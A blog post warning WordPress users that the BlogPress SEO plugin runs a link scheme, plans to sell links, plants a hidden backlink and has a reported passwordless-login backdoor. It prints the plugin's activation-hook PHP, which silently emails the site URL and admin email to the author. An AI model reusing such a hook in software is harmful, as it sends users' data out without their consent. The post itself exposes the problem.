BlogPress SEO Plugin: Spam!

Let me tell you why I consider BlogPress SEO to be spam and why I think no one should ever use it. Every other week, I'll get an email from people asking me to review their plugin. I like doing that, and sometimes I'll even mention a plugin that gets emailed to me in a post or on the WordPress Podcast. Sometimes, the plugin isn't any good, and sometimes it's outright spam.
BlogPress SEO falls in the latter category. My spam senses started tingling when I read the second sentence of the email they sent me:

We have developed a superb wordpress plugin which can actually get 100's of backlinks like crazy, all on autopilot.

Right. Backlinks, on autopilot. Such a thing does not exist. Let's see how this one works, taken from their own explanation:

As soon as you install the plugin, the plugin will find all relevant blogs in the network which are similar to your niche. So if you write about dogs then the plugin will find all blogs which talk about dogs. Once the plugin find the relevant blogs, it will mutually exchange links between the blogs. So if you have 300 posts in your blog then it will find 300 similar posts in the network, and in turn mutually links with those posts. So you will get around 300 backlinks right away. The more you write the more backlinks will be found by the plugin for your posts. This is a ongoing process and I can assure you that you will see gradual increase in traffic over time.

So... It'll automatically add links from your posts to other people's blogs, and links form other people's posts on the same topic to your posts. There's a word for that, it's called a link scheme. And let me tell you: Google doesn't like those. I took the liberty of emailing Matt Cutts, the  head of Google's Webspam Team. He said that he "considers it a link scheme of the sort that Google doesn't want to count".
You know what the funny thing is? The bad stuff doesn't end here. In the email they sent me, they also alluded to a paid version of their plugin, to be released soon:

The paid version of the plugin will not exchange links, but just allow other blogs to place links and will not place any outgoing links on users blog.

You know what we call that? We call that buying links. Now whether or not you're morally opposed to that doesn't matter, Google is. Some of you might remember that, back in the day, Text Link Ads launched a service called InLinks, which did something similar to this. Matt responded to that then, on TechCrunch. He's very clear on the topic. And that was before there were FTC guidelines saying that you should disclose stuff like that. These guidelines are there now.
So let's say you don't care about rules and burning a website or two and you do stuff like this, you than have two rules to go by: you don't talk about it and you make sure you don't get caught. Which means you also don't go around asking for people like me to review it, like the author of BlogPress SEO did with me.
Luckily, it's quite easy to detect whether a blog runs this plugin, so Google will probably eliminate those quite easily. The risk you run? Well, I've seen sites get banned for participating in programs like these in the past. Like, banned from Google entirely, getting no traffic from Google anymore, nothing, zero, nada, zilch. Is it worth that? Thought not.
And wait, there's more. If you download the plugin and dig around in the code a bit, you'll notice this code:

function email_send_fun()
{
    $headers="From:".get_option('admin_email')."n";
    $headers.="Reply-to:".get_option('admin_email')."n";
    $sub="BlogPressSeo new installation.";
    $mes=get_option('siteurl');
    $to="info@blogpressseo.com";
    mail($to,$sub,$mes,$headers);
    if($hwe_blogidd)
    {
        wplink_activate();
    }
}
register_activation_hook(__FILE__,"email_send_fun");

What that does? Oh it only sends your blog's URL and your email address to the author of BlogPress SEO. Wait, without your consent? Yes, without your consent. That's illegal in many countries, but hey, why would they care. Next to that, the plugin is kind of enough to add a link back to itself on your blog's homepage, in a hidden div of course, because that's how smart people roll, right? Luckily, that makes it even easier for Google to find all the sites running the plugin and ban them all in one big sweep.
So, besides the fact that they get you involved in a link scheme, for which penalties can be quite severe; even getting your site banned in some cases, they also add hidden links to your site and send off your personal info without your authorization. Nice, isn't it? So my advice to you is simple, and you'll have understood it by now:

Do NOT use BlogPress SEO. Ever.

Update: It get's worse. As pointed out by this post, BlogPress SEO is pure malware, as it contains a function that allows someone who knows your admin email address (you know, the one they just sent to themselves when you installed the plugin) to log in without a password... That's purely criminal.
Source:http://wp-community.org/